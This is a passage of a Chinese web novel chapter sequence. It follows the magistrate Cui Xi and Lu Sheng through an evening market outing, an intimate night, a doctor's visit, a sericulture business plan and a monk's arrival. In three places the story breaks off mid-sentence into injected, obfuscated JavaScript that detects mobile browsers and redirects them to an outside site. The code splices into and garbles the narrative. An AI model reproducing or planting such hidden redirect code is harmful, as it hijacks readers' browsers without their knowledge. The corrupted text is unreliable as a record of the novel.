“下次再系。”陆笙把结松开,又拆了巾,一松发簪乌黑的发便带着烛光顺流而下,一直垂到他的背上。 陆笙坐在一旁等着他自己梳。 崔息骨节分明的手拢住自己的头发,手指灵活一翻就将它缠绕固定。 他把发束起,再套上巾子最后戴幞头,临了最后差一个结。 “陆笙,帮我系么?”铜镜中他的眼神落在自己身上。 陆笙搓搓手指,郑重地捏住它。 “慢慢来,下次让我帮你描眉怎么样?你会嫌我笨吗?” 陆笙置若罔闻,她此刻眼睛不眨一下,拇指与食指捏住两头再交换方向最后打结,完成后把多余的边缠绕收回。 她太认真,以至于分神去听的时候崔息已经把话说完。最后陆笙只来得及“啊”了一声,崔息被她逗笑,说“没什么”。 出门时沈莲丰叮嘱两个人,莫要太晚,以后日子还长。 她看得出来,娘子和阿郎感情愈发好了,但怕两个人贪欢,在外头不知归时。刚从山里回来要惜身,把掉了的肉全养回来。 “是,谨遵丰娘教诲。我与云尘吃完随便逛一会儿就回来。” 崔息只是笑,他觉得自己这颗心就像被放起的孔明灯一样,明亮的,控制不住地飘起来。 它由暖光催起,倒映在自己这段晦暗的生命河流里是如此显眼。俞伯牙与钟子期所谓知音大概都不如阿乐与自己,崔息发觉竟然如此忘形,自己都有些嫌弃自己。 “探花郎,你笑得实在太便宜。”陆笙看丰娘嘴角带笑离开,拽了拽他腰上的蹀躞带。 崔息想收敛但收不起来,直接抓住陆笙的手腕说:“走吧。” 到路上崔息又后悔,怎么没有牵住她的手呢? 于是他松开手腕,先是肩并肩靠近她,然后食指之间似有若无地碰一碰她的手心,小心翼翼地按捺欲望的血盆大口,一点点克制那些惊人的渴望,他怕惊扰身边这一只敏锐的小兽。 陆笙故意四处张望装得毫无戒备,她有些焦急地等待,想看等崔息什么时候出手。 同时又有点疑惑,明明之前与他亲昵过,可是不知道为什么,郑重确认关系以后这些行为都带了比从前更甚的喜悦,每个动作都像是带着星星点点的梦幻轨迹。 可崔息只是轻轻地碰一碰,陆笙没有耐心了,反手握住他。 她生活的现代社会里手指与手指的触碰几乎不需要心理建设,只是触碰时候温度、手指骨骼的形状在一瞬间居然那样清晰,填满了空白的数据似得,满溢的信息让人晕眩。 这一刻冲击她的心理,也冲击着崔息两人,脸上都生出一抹红。 “我们是不是该仔细看看最近这里的变化?” 陆笙提出同时也是在警告自己,别太沉迷了,还说崔息便宜,自己也差不多! “说得对。”崔息笑着同意。 陆笙深呼吸,微凉的风沁入身体慢慢抚平心中那些细微的冲动,眼睛扫过附近的房屋,有些正在修缮,有些已经挂起了灯笼。 人真的变多了,陆笙心里多了一些平缓,但是马上想起老庄的马蹄声,他的信已经有新的,还是画没有字,看画上的景象,他已经到了本国与西域的交界处。 后面的信估计会越来越慢,因为他离自己越来越远了,陆笙已经决定写一封信劝他回来,永平已经不是从前的永平了,能活,不用不怕死。 崔息牵着她的手穿过巷子,原本还应该再走一段,但如今的商市扩大了许多,穿过第一条巷子就有人在叫卖饮子。 “你想吃什么?”崔息问。 “吃馄饨吧,汤汤水水的不油腻,吃完我们再去自家开的店喝一杯薄荷饮,还能看看码头如今的模样。”陆笙心下已有决断。 再往前一段,两个人瞧见有人挑担卖莲花、莲蓬,陆笙买了一枝半开的,又挑了一个莲蓬,到馄饨店以后坐下开剥。 莲蓬还带着一段茎,陆笙捏一捏,然后想到什么似得问崔息知不知道莲是中通外直的,只要你从茎灌水进去荷叶四周就会下雨。 崔息拿着莲花点头,说小时候他母亲带自己玩过。 “来分你一半。”陆笙听他说到母亲两个字抿一抿唇,把手里的莲蓬掰开给他。 承托保护莲子的莲蓬捏起来蓬松但是不易撕扯开,硬掰开的时候会刺啦啦得响,里面是白色的竖向结合的纤维。 陆笙捏着剥出的莲子,像捏宝石一样捏着放在眼前,莲子露出的部分绿得更深一些,落在里面的颜色淡。挑担的人不知哪里找的好莲蓬,莲子个顶个得饱满。 剥完莲子馄饨也正好上了,店家还是那位娘子,甚至记得他们两个人的口味。 “客人吃好啊!”她满眼的笑意,没有喊出崔息的官职,这时候多半是要图清净的。 陆笙向崔息要了块手帕把莲子包起来,打个结塞到了袖袋里,然后迫不及待地拿勺子舀起一个皮薄馅大的馄饨。只是天热,馄饨包着汤难凉,举了半天勺子还没能咬一口。 陆笙吹一吹,小心翼翼地吃那坠在勺子外的边,但还是被烫得缩了回去。 对面的崔息却不怕烫似的已经咬了半个。 看着还在冒热气的馄饨,陆笙支着下巴看他。 崔息停下动作,两个人对视没一会儿互相别开眼睛。 “云尘读过《西洲曲》么?低头弄莲子,莲子清如水那一首。”陆笙随意找了话题接上这段意料之外的腼腆。 “嗯,读过。” “哦,好,继续吃馄饨吧。”陆笙拿嘴唇碰一碰馄饨,它不再那么烫了,腹内饥饿又上涌,再顾不得什么西洲曲东洲曲。 吃完崔息准备结账,店娘子却免了他们的店钱,她轻声说:“明府大恩没齿难忘,今天这一碗馄饨就算民女略报此恩情,请明府一定赏光!” “阿娘,呜呜……我要吃莲子,你还没有给我买呜呜……” 忽然,一个像奶团子似得孩子跑出来。 陆笙觉得她黏在店主人的腿上跟小熊软糖一样。 “明府、夫人见笑。”店娘子有些无奈,想要将孩子与自己的裙子分开。 陆笙这时候提一提衣摆蹲下,从袖袋中拿出两个人刚剥的莲子。 “来,拿衣服兜,可多了。”陆笙笑眯眯地对孩子说。 “这怎么好使得……”店主人站在那有些无措。 崔息告诉她无妨,那卖挑担卖莲花的就在他们回去的路上,店主人既然走不开,那就请赏光吃些自己夫人剥的。 “谢谢好看的郎君和娘子。”奶团子小小的一个,带着泪花轻声说。 陆笙趁机戳一戳她的脸,嘿嘿笑一笑。 小孩也伸手戳一戳陆笙的脸,也对她笑。 “这莲子拨开里面的心是苦的,要是不爱吃记得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13612102|132703||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吐掉。”陆笙站起来拍拍小孩儿的头叮嘱。 走出馄饨店的时候崔息问:“你这么喜欢小孩?” “这叫不怕小孩欺负我,不是喜欢。”陆笙思忖片刻,又拿出她的“歪理”。 “哦对,我是不是没有跟你说过,我不能生育。”陆笙发现自己当时还漏说了一件事。 崔息一手持莲花,一手紧紧握住她,力道越来越重,都让陆笙觉得痛。 “陆笙,我不是那样的人!” 崔息的眼神极其认真,眼底还烧着一层火,好像忍耐着几分怒气。 “原来古人说的美人宜笑宜嗔是有道理的。”陆笙语气轻飘飘的,弄得崔息一下没了脾气,自己总是戳不破陆笙那股混不吝的劲。 “情人眼里出西施罢了。” 崔息是打比方,陆笙却笑,问他:“若要配西施,我应当是满楼红袖招的风流公子还是克己守真的端方君子?” 以为他会露出什么斜眼无语的表情,谁知道崔息在认真思考,只是最后的结果却是:“都可以。” “都可以?” “反正只是看表象,若问真底色,还是巍然不动的山石。” “我曾听古人言山是漫长岁月里变化极其缓慢的波浪[1],若云尘认识我再久一些就知道我是……” 陆笙想给自己下个判断,但话推到这里却迷茫,她也不知道自己是什么,只是这样走了过来了 “算了,就当我也是波浪吧。” 崔息并不能听懂这段话,陆笙知道的,但他开口却叫陆笙心软,仙人点石成金,他点自己这颗顽石成暮色里的金波。 他说:“波浪大约指形态,可石之坚还是不会变化的。” “真不愧是探花,是不是在云尘身边越久就能听到越多的夸奖?还不重样。”陆笙脱开食指,在他手心轻轻摩挲几下。 “那夸到夫人心里了么?” 他眼眸深邃几乎要将人吞没,他眼中才是滚滚红尘涛涛海潮啊…… “不,陆笙。”崔息自我纠正。 “无妨,偶尔喊几句也很好听。”陆笙不自觉被他眼底的欲望蛊惑,看到崔息的索求竟然觉得愉快。 “夫人。”他忽然靠过来,唇齿压过的热气落在陆笙的耳边。 陆笙的身体微微发僵,吃完馄饨尚且热着的身体经这一声催化成脸上的云霞,好在灯火辉煌,减去了三分红。 “衣服上有一片落叶。”崔息拍拍她的肩膀。 陆笙打了自己脑门一下,为自己脑补过度而尴尬。 可是走过窄巷时他忽然压过来,手臂紧紧箍住她的腰,花瓣微凉贴在陆笙的面颊。 “能不能……赏我一吻?”他的嗓音有些沙哑。 “若我说不行呢?”陆笙眼底满是戏弄的神色。 崔息垂在身侧的另一只手张合一下,他也觉得无比唐突。只是夜色缱绻落在这一段窄巷,头和尾为明光所照,走无光之地进去就像走入秘密,心底的欲望根本管教不及,它们悄悄溜出来缚住了他的神智。 看崔息微微别过脸,手上力道也要松懈的时候陆笙轻轻吻他唇角。 但松懈的力道骤然激增,他不知哪里得来一枚莲子,别过头咬在齿间。 陆笙微微仰首吃了莲子尖。 “莲心苦涩,我们早些回去。” 崔息松开怀抱,牵着她走,不多久身后传来其他人的声音。看他故作镇定陆笙简直想笑,明明还没有去码头,怎么就回家了? “云尘,往这个方向到不了家,是去食肆的。”陆笙不留情戳破,想看看他会有什么表情。 85. 第 85 章 码头附近的市集比吃馄饨那条街还要热闹些,多是些客栈与食店,还有简单搭建的货仓。 这个时间码头做搬运的工人会出来吃些饭菜,人最多的竟然是自己几个月之前开的笙记食肆。 好些人是来买薄荷饮的,陆笙还发现他们大多都自己带了个葫芦来。 嘈杂声中陆笙听见店员在吆喝:“薄荷饮来嘞!各位客官排队哈,闹事者可是老规矩!” 陆笙问前面的一位大哥:“前面的这位郎君,请问那店里说的是什么老规矩?” 那大哥转过头来,眉毛粗黑,面孔晒得有如铜色。 “第一次来吧?老规矩就是闹事的要被叉出去,以后给钱也不卖他东西吃!” 陆笙摸一下鼻子,这个规矩倒是霸气。 于是她又问:“若有身强力壮的闹事该如何是好,我瞧大伙都是有些力气的,难不成由是大伙去帮忙赶人?” 这景象,陆笙有点想象不出来,而且容易出事。 “哪要我们,食肆里有几个好手呢!听说这家铺子也不一般,是县令夫人开的。不过,我说这县令夫人真是……” 陆笙以为他有什么要抱怨的,肃面倾听。 谁知大哥说:“你说她怎么不能把这边的店多盘下来一些,排队还是累!” “那看来这家食肆不错啊!” “可不么?舍得放油、下盐,我们舍力气的人就得吃这样的,吃了有劲!好了好了快到我了,不说了!”大哥巴巴望着准备专心排队,对陆笙摆摆手不想再聊。 马上就到他的时候,大哥又想起来一件事,转过身想对刚才问自己的年轻娘子也嘱咐几句,却寻不见那位娘子的身影。 “我就说得多开两家。”大哥喃喃,转过脸正好轮到自己,他赶紧一手一个葫芦递出去。 陆笙这个时候已经走到队伍最后面,她觉得大哥的话是有些道理,再看看左右两边已经贴上封条的谢、隹两家铺子,既然他们不开了,那不如自己开? 头还是有点疼,算了,先排着队吧,等自己状态完全恢复再说。 反正这日子缺了谁照样转不是,惜身也是必要的。 “夫人?” 她准备离开此地去市监找崔息时听到个熟悉的声音,是阿灵。 “真的是夫人!”阿灵跑过来拉着陆笙的手,围着她转了好几圈。 陆笙问她阿婆近况,又顺道考了考了她对自己留下菜谱的熟悉程度。 这些阿灵都流利地回答出来,甚至还讨教了几个发酵的问题,看得出她是认真在学的。 “刀工我也练了的,现在树上的鲜果吃不完我就拿那些来练手,全部咔咔咔这么切成段和丝然后再拿去给鸡鸭吃,还包揽了隔壁喂猪的活儿,这个活能切东西!”她拿右手作刀对着陆笙比划几下。 说完她把眼角的泪花抹去,小心翼翼地问陆笙:“阿灵能永远给娘子做厨娘么?” 陆笙惊讶问为什么。 阿灵并没有理由,她只说:“我就是想跟着娘子。对了,娘子是要去找人吧,阿灵不耽误你了!” 这些日子在外她也学了些察言观色的本事,并且还得了句生意经,就是在店里听的。 是一个锦绣华服的人的说的话,那天他正教训自己手下。 他说做生意除了货要硬还看你人灵不灵,要是把客人的心思琢磨透,那你不就知道人家爱往何处掏钱了么? 听两个人对话,似乎是什么青州来的吴姓商人。男子年纪并不大,约莫与夫人相仿,但话语之间透着老练。 陆笙微微颔首,注视着她步伐轻快地往店里走,看着看着不由展颜,阿灵好像比之前成熟一些,又见她似乎与常来的几位搬运客熟,一过去就热热闹闹地打了招呼。 站在人群与灯火之外,陆笙像一片朦胧的影子。 “陆笙。” 崔息忍不住叫一声她的名,怕她随风飘走。 陆笙转过头来朝自己方向走了几步,灯火总算是照亮了她,不再那么薄似秋叶。 “事情都处理完了?” “算是暂告一段落,若……”崔息看她眉宇之间带着三份疑惑不再继续说下去,而是从头为陆笙解释。 这次他被秦厌忽然找过去是处理一桩外来商贩与本地卖家的纠纷,但那商贩来头不小,是青州吴氏,所以直接找来了县令处理。 “秦厌正与市监一起吃饭,知道这事可轻可重,便喊了我去。” 陆笙莞尔,秦厌这一趟也没白受罪,人稍微稳重一些。 “秦厌怎么会与市监在一起吃饭,难道是……” “为他想的那蚕桑大业。” 两人会心一笑,陆笙主动去牵崔息的手,用她自己的食指轻轻勾住他虎口处,留他停顿一瞬,然后趁机与他十指相扣。 天气有些热,崔息却一贯的冷手,体温交换正舒适。 “不好,我忘买薄荷饮了。”陆笙拍拍自己的前额。 崔息凑过来对她说:“不妨事,市监刚送了我一葫芦。” 他“喏”的一声拿出葫芦递给陆笙,但待她伸出手又放下。 “回去再喝。”崔息说话的时候喉结滚动一下,陆笙直笑。 “圣人云君子周急不继富,云尘现在是急什么?” 瞧着她揶揄的表情,崔息有些脸红,她向来是这样直白。 与自己行径一比她就如君子之行坦荡,而自己是小人,在无人处渴望,面对时却忍耐。 “急色。” 崔息神色认真地回答,但面上的那一抹红还是昭示了他内心的不平静。 陆笙对他突如其来的说微微吃惊,之后是忍不住地笑,混着些得逞的意思。 被笑恼的时候陆笙凑过来,以为她还要说什么再进一步的话,迎来的却是她的拥抱,她的脸贴在自己胸膛,还轻轻蹭了蹭。 “我们回去么?” “回去。” 一步一步逆着人群,两个人往自家宅邸去。 路有些长,陆笙居然觉得难捱,心轻飘飘的。 回到屋子里,四周墙壁隔开了外面的虫鸣,陆笙打开一些,再挂上纱帘,在黑寨听惯了野外的声响,忽然封闭起来有些不习惯。 崔息拿了两个杯子,又将葫芦里的薄荷饮倒进去。 闻到那一股清凉意他不自在地摸了摸自己的鼻尖,那天自己嚼了陆笙种的薄荷叶,万般清凉也难平那股烈火,那是在知道陆笙偷偷出去的那一刻,崔息不明白,这事明明可以告诉他,为什么不说。 现在想来那种心情却异常陌生,好像是另一个人。 “嗯,做得确实不错,爽口为主,回甘其次,还有些果味。”陆笙喝了一杯, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13623863|132703||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又马上续上。 崔息接灯火看她轮廓与面孔,她像是发现似得转过头,笑眯眯地说:“收拾一下,我们睡觉!”语调轻快甚至带这些俏皮。 睡……觉…… 崔息眼睫轻轻垂落,不去看她,怕自己这张脸丑陋,失去理智布满着欲求而产生的丑陋,但没容得他思绪如弹丸一般到处乱撞,陆笙已经扒着她的木楼梯往上走。 脚步声一声声落在虫鸣声中。 “你……好梦。”崔息意识到自己想岔了立刻补救。 陆笙这段时间确实疲累需要休息,想到此处他简直为自己急色而感到惊恐。 崔息深呼吸,然后扯开她系幞头的结,取下束发的簪。 他把睡前事有条不紊地推进,伴随着这些事情的完成,自己的心情也逐渐趋于平静。 吹灭已哔剥作响的灯,月色倏地跃入了户,穿越纱窗后溶溶化在地上,像氤氲的一团轻梦。 崔息心情愈发地平稳,躺下好一会儿以后他忽然意识到自己还没有把眼睛闭上。明明自己的身体也有些疲惫,心情也稳健着,怎么就是不想睡呢? 闭上眼睛,侧过身体,均匀呼吸。 可意识顽固,好在困意已经开始慢慢生长,像一枚刚被点燃的香丸。 朦胧中,崔息听到陆笙对他说话,他捂住耳朵手却被覆住。 潮湿的温暖的还有薄荷气味,陆笙轻轻张开唇瓣想要先发制人,一口气还没换过来,崔息已经反应过来,没有说话,带着欲望截断了她要换气的动作,势如破竹逼到她几近窒息。 只是崔息显然也好不到哪里去,两个人面对面听得清彼此的呼吸声。 再一次互相轻啄、深入,唇瓣辗转世界柔软只剩彼此,崔息扣住她的五指反背在身后,带着沉重又滚烫的呼吸在陆笙的脖颈处逡巡不去。 陆笙像落在沙地渴水的鱼,在心跳和呼吸的杂乱交织中崔息接吻。 他掌心的温度一起坠在皮肤,像不断地雨,积累的却是欲一点一滴冲毁最后理智的高墙。 两个人十指相扣,害怕被风暴冲撞而散,只是捉得越紧狂风骤雨来得越猛烈。 夏夜此时鸣虫正叫得欢快,一只螽斯飞到窗前想在此高歌,可里面溢出浓情蜜意的痴缠语,惊了想在此处高歌的它。 屋内两人意识随潮水进退,失去一切退回混沌前陆笙微微昂首。 崔息过来与她分享世界上的最后一口氧气,这个瞬间在无限逼近万物尽头,甚至延展了时间的长度。 陆笙的眼泪就像刚才身体里下刮的风下的雨,簌簌地落了下来。 崔息的手捧着她的脸,轻轻吻去那些泪水,欢爱过后两个人紧紧相拥,那阵狂风大浪退去,云开雾散,波心皎月。 陆笙身体微微蜷缩,四肢末梢还留有一点欢愉之韵。 崔息的声音有些微微的沙哑,他嘴唇和背上还有一些红痕,都是陆笙的手笔,甚至喉结处也如此。 片刻以后崔息蹭一蹭陆笙的鼻尖问:“还来吗?” 虽然是问但是手已经有些不安分。 陆笙掐一下他腰,勾着他的脖子说:“来!” 她也对崔息有几近本能的索求,今夜狂饮情爱之酿。 陆笙怕今夜以后再没有这一刻心境,所以至少这一次,哪怕就一次,让她冥顽不灵,醉倒人间。 86. 第 86 章 张远清坐在堂上一言不发,杯子里的茶也没有动一口。 崔息从外面急急地走进来,没来得及换回便服,官袍上还沾着一片泥。 “参见明府。”张远清站起来向他行礼,但语气冷淡。 之前听说崔县令派了陆笙去土人地界教种地,一开始他还不信,但连着快三个月没叫自己去把脉,这下他信了三分。 如今为陆笙把了脉,他就信了八分,眼见慢慢好起来的人,这下又要遭罪,喝药、忌口、扎针一个都少不了。 “不必多礼,内人脉象如何?”崔息直接询问。 张远清摸一摸自己的山羊胡,眼睛看了看这个年轻的县令,丰神俊朗不假,为民赴汤蹈火更是实事,于情于理他是不应该这样做的,可陆笙毕竟是老庄唯一的孩子。 “明府请恕老夫直言,夫人身体需要长久地调理,听说崔县令将夫人派去了南边的土人地界?” 崔息点点头没有反驳。 张远清沉吟片刻后道:“那无怪乎如此!明府可知如此做断送了夫人的大事。” “什么大事?”崔息身体不由一挺,显示出几分逼问的强势。 “恐怕以后无法为明府诞下子嗣。”张远清尽量用沉重的语气讲,虽然医者应当诚实,可这件事他也顾不了这么许多。 安抚土人与永平县北人是大事,既然事是夫人做的,他为何不借题发挥一次?反正陆笙的身体状况下降是真的。 “有劳张大夫诊脉,不知我夫人需要如何调理,不必顾忌金银!” 和张远清想的不同,这位崔县令居然是面不改色,甚至还着急询问办法。 按照他的理解,事违常理必有妖,他决定到时提醒陆笙,要她好好看着药罐子,这些都得她亲自过目,不然说不定就没了性命。 这人啊,对公尽心尽力,对私可不一定,张远清摸摸胡子,人是千奇百怪的,不能一概而论。 “办法自然是有的,只消按老夫的方子坚持便可。”说到这里他用余光偷偷打量一下崔息。 啧,这年轻人怎么看不出半点端倪。 “有办法就好,有办法就好!”崔息面带喜色。 张远清愈发看不出真假,微微点头后拿起笔开始写药方,可写到一半又开始摸胡子。 “请明府差人再带我去一趟夫人那,有一味药有些琢磨不准,想再把一次脉象。” 崔息立刻喊了婢子带张远清去,他本来跟在张远清身后,但张大夫却指了指他的衣服,上面不干净。 绿色的官袍上沾半干的黄泥确实显眼,崔息思量再三决定先去换衣服。 换完衣服还没走到退休居,又被秦厌拦住了去路,他手里拿着一叠纸,每一张都有墨迹。 “公子公子,是今天找你和笙姐姐‘开会’吧!我这几天已经四处打听过了,蚕桑这事真能做。原来此地本来是有蚕桑业的,可是开得太晚。甚至此地的锦绣还兴盛过几年,但后来从事这项行业的都搬去州府做了,从这里出去的最厉害的商户甚至已经将东西销到了上京……”秦厌滔滔不绝。 崔息按捺着心里的一丝焦急,直到沈莲丰过来说:“还没有去娘子那么?我这都派去抓药的人估计都要回来了。” “抓来了?张大夫已经走了么?”崔息有些疑惑,刚才他还在那写药方,而且秦厌也没说那么久才对。 “走了,阿郎没问药方的事么?张大夫仔细写了四张,每七天换一次药。”沈莲丰如实禀报。 崔息不语,绕过秦厌就往退休居走。 沈莲丰也跟着,秦厌问她:“笙姐姐病得很严重么?怎么药换得那么勤,之前不是还好好的么!” “张大夫说伤的是内里。” 秦厌迅速把纸卷起来塞怀里,跟在丰娘身后一齐往退休居去。 结果三个人到屋里根本没看见陆笙,秦厌跑到外面大喊:“笙姐姐,你在哪里啊!!” “这!” 深绿的一排胡瓜架子后面探出个脑袋,是陆笙。 她听声音走出来,左右手里各拿了两条胡瓜,浅绿淡黄的中间段,越往两端绿越深。 “正好,四个人一人一条。” 崔息见到她还算有生气,眉眼当即柔和,叫她先放了胡瓜去休息。 “也不是动弹不得,稍微走动走动哪需要休息。”陆笙摇摇头。 秦厌笑呵呵地在一旁帮腔:“笙姐姐,也不是休息,听我‘开会’呀!” 陆笙一拍额头,是有这回事,秦厌要汇报自己计划的可行性,那表格还是自己给他列的。 “好,那煮一些大茶吧!” “知道夫人爱喝这个,已经命人烧了水。” 沈莲丰叫来婢子将黄瓜也清理一下,就是现在陆笙并不能吃太冷的,就算要吃冷陶也得暖过肠胃以后。 沸水滚滚入壶,大茶的香味片刻就被激发出来,沈莲丰给大家各倒一杯。 秦厌从怀里掏出自己的那一大叠纸,开始讲自己对于蚕桑经济的调查。 从下地的农民到市监的判断他都说到了,甚至还有从前从事过此项劳作的工人,秦厌还给出了市场报价。 以及他提到一个关键的信息就是南边的商路还没打通,要是南边的商路通畅,土人那边也是需要丝织品的。 陆笙听得有点恍惚,这下真成开会了!要是再加个投资预算和回报以及风险评估,那简直是一模一样。 “我觉得秦厌的法子行,就是除了织布的娘子还得有花样才好,有时候织布牢靠固然好,但若配上时兴的花样,那卖起来更是锦上添花!”陆笙走镖时对这行业略有耳闻。 毕竟衣服嘛,能买丝织品的人大多非富即贵,这样的消费人群其实更在乎这衣服能不能做出自己喜欢的样式,要是花纹土气老旧那再好的工也难下手。 “笙姐姐说得对!这点我得记下。”秦厌掏出他的小本,拿炭笔写了一行。 “娘子说到点上,爱美者有时为独一份的花样能争破了头,若你两样都抓好不愁挣不到钱。”沈莲丰出口称赞。 崔息也夸秦厌做得不错,但是他忽然支支吾吾起来,脸有点红好像有什么难出口的事。 “怎么了?还有什么事你说,大伙儿哪次不帮你呢!”沈莲丰有些好奇,是什么事,能让冒冒失失的秦厌都如此模样。 秦厌放下手里的纸张和炭笔,他站直了身体然后咳嗽一声说:“我想谋军功!” 经了上次山洞里的那回事秦厌明白,不是公子离不开自己,而是自己一时间没有准备好承担,他没有离开的勇气。 在公子身边护卫是一时的,可如今模样更应该做的是去建立自己的那一份业,那样才对公子有很笨的帮助。 只是这话说完大家都沉默,公子微微皱眉,笙姐姐也神情相似,丰娘上下打量他眼神复杂。 “其实……不去也可以,在公子身边……”秦厌开始补救,但话马上被崔息打断。 “秦厌,那你做这蚕桑的事是为谁?不是阿木凌么?”崔息当然觉得他去谋取军功是好事,可他完成这份复杂的计划又是什么意思。 陆笙在意的也是这一点。 秦厌说:“这……我会老实跟阿木凌讲的,我会好好说清楚的,这件事可否让秦厌自己做!” “定要如实说明白。” 崔息很担心他的处理方式,可是不让他自己完成人生的抉择又有谁可以帮助他抉择。 虽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“笙姐姐,你喝的药实在太苦,我去给你寻摸些石蜜和龙眼。”他抓着自己写的那些纸快步逃离,快到门口的时候又折返。 “对了,这是段公子的信件!”秦厌把信放在桌子上以后匆匆跑开。 沈莲丰也告退,这时候自己还是退下的好。 陆笙一口闷下这浓稠的苦药,也不知这大夫到底往里面加了什么东西,酸甜苦辣俱全,尤以苦味最重,就连她这个吃惯了莲心的人也快要受不住的苦。 “不吃糖?”崔息递给她一方手帕。 “不吃,我怕哪天没糖就吃不下去了。”陆笙自然地接过,在帕子上留下了那一抹药痕。 这药的着色能力也强,棕色的几抹留在上面洗也洗不掉,闻起来这帕子都泛着苦。 崔息哄她:“吃吧,怎么会没糖呢?何必吃这个苦。” “也是,明府买得起糖,我也买得起。”陆笙捏一颗放入口中,甜味迅速化开,中和了嘴里的苦。 崔息看她平下去的眉头嘴角弯起,他伸手够来好友的信,但一时间不敢拆。 上次去信问了谢家是否与他们家有关联,他清楚明白地写了若有关还是会依法处置,得罪之处万望海涵。 “万望海涵”四个字一下子就推远了他们的距离。 可世事变幻无常,他家勾连多,限制也必然多,同为世家子,他明白。即便友人段习之不是那样的性子,可这几个字不得不写。 “不拆?”陆笙疑惑。 崔息摇摇头,一用力撕开了封口。 他读得快,信里大部分都是在讲他准备出发来永平,准备的过程是如何不顺利,直到最后他才写到谢家,他只说不认识。 “怎么了?” 崔息的表情让陆笙忍不住问。 “有一性情洒脱的友人与他夫人将访此地。” 87. 第 87 章 信拆开不久,崔府的门就被敲响。 “阿弥陀佛。”站在门前戴着竹笠的僧人向沈莲丰合掌,他虽带着仆仆风尘,但身姿挺拔,眉目慈悲。 沈莲丰对身边的婢子吩咐:“给这位师父供养些吃食与清水。” 话毕又问这位自远方来的僧人:“不知师父是否持金银戒,若开便再为您奉上些盘缠。” 她为公主侍女时与本朝一些大和尚有过接触,知道些戒律之事,小戒律有开遮之说。 “多谢檀越费心,只是贫僧非为化缘而来,是为寻人。贫僧乃上玄下明法师弟子,法号慧德。今云游宝地,闻师父俗家弟子陆笙在此,特来一会。”僧人摘下斗笠,再次对沈莲丰合掌。 “原来是玄明法师的弟子,小师父请进,我这就为您通禀。”沈莲丰听到这个名字内心震颤,但立即压下思绪请僧人入内,一时竟忘辨真假。 只因玄明法师与她相识,沈莲丰低一低头避开回忆锋芒。 自己那时年少,妄语妄想,如今回首全如梦,只当如是观。 再回神,她只听见蝉声响彻庭院,自己坐在廊下,那边屋里那位叫慧德的小师父正在与娘子说话。 两人言语之间也会提及几次玄明法师,沈莲丰愣了片刻缓缓离去,往事灰尘太厚太重,呛得人一下失了方向。 “慧德师兄,你这模样是要去哪里,不是说离不了上京么?”陆笙斜一眼这个师兄,两个人交情不多不少,刚好算得上知根知底。 慧德喝一口茶,语气全然不似刚才与沈莲丰说话时那般,他悠悠叹一口气道:“没办法,师父把我踹出来的,叫我多走一走。” “那你怎知我在此地,谁给师父信了,是老庄还是阮清淮?”陆笙做出猜测。 “你问我,我问谁,反正师父就是知道你在这,他特地叫我来看看你。” “看?那师兄带礼物了?入乡随俗,随我几百钱吧。”陆笙一点不跟他客气。毕竟慧德师兄在上京时和师父一样,都是名声响亮的出家人,名门望族前来皈依供养者如云。 “几百钱?” “说少了?” 慧德摇摇头,他这个师妹牙尖嘴利的,但有智慧的人多少有点毛病,自己也一样。 “你来晚了,师父把我供养我的那些金银财帛都捐了军资。” 陆笙疑惑,难道国库没了钱要从被供养的僧人身上抠? “你不走镖以后肯定不知道,上京可出了个了不得的女官呐!虽然这笔钱本来就要散的,就是没想过入军资,真了不得啊!” 慧德说起这件事还是啧啧赞叹,不知那位女官是如何说服师父的,但年纪轻轻就敢出使西域的人肯定有非比寻常之处。 女官?陆笙脑海之中惊雷一瞬不由出口问:“是叫灵琅么?” “咦,你竟然也知道。那……”慧德把声音压得很低,“你知道很多人说她有夺权之心么?” “夺权?!”陆笙惊诧后比了个口型。 “虽然不大可能吧。”他嘀咕。 “算了,这些事我知道又管什么用,我既不能帮忙,也没法添乱。”陆笙对自己的定位相当明确。而且上京那传什么的都有,癞蛤蟆都能传成西域王子。 慧德最佩服陆笙的地方就在这里,智慧和美貌一样很难隐藏,自知其长处时就更难。 师妹这是不惜黄金埋泥沼,不惧美玉藏暗室,这份无常之心他是还没学全。 只是有时候他觉得师妹就是纯粹的视而不见。 “所以……师父就把你踹出来了?”陆笙把因果随便连线。 “是啊,师父说我在上京全不了身,让我出去。我看分明就是想历练一下我,这三四个月我被土匪抢,又被农户驱逐,还差点被山上大虫吞吃入腹,师兄这僧活啊是越过越不行咯。”慧德哀叹。 陆笙惊讶,他居然还真是隐去姓名师承云游的。若报出名字拿出信物去开坛说法,那想必是鲜花铺路,僧俗夹道相迎。 “你不问问我怎么就被农户驱逐了?”慧德等了半天陆笙还是没问便主动开口。 “那你说吧,反正我不问你,你也得说不是?懒得开口。” 慧德敏锐地抓住疑点反驳:“你这句话那么多个字,明显就是要我反问,哪里是懒得开口。” “子非鱼,焉知鱼之乐。”陆笙摇头晃脑不正面回答。 “你非我,焉知我不知你使坏。”慧德眼皮半抬,老神在在。 两个人相视一笑,对面人还是和以前一样,爱斗嘴爱讲瞎话,要是师父在身边还容易被师父骂。 “哦对了,师兄你知道葛聆么?”陆笙忽然想起他来。 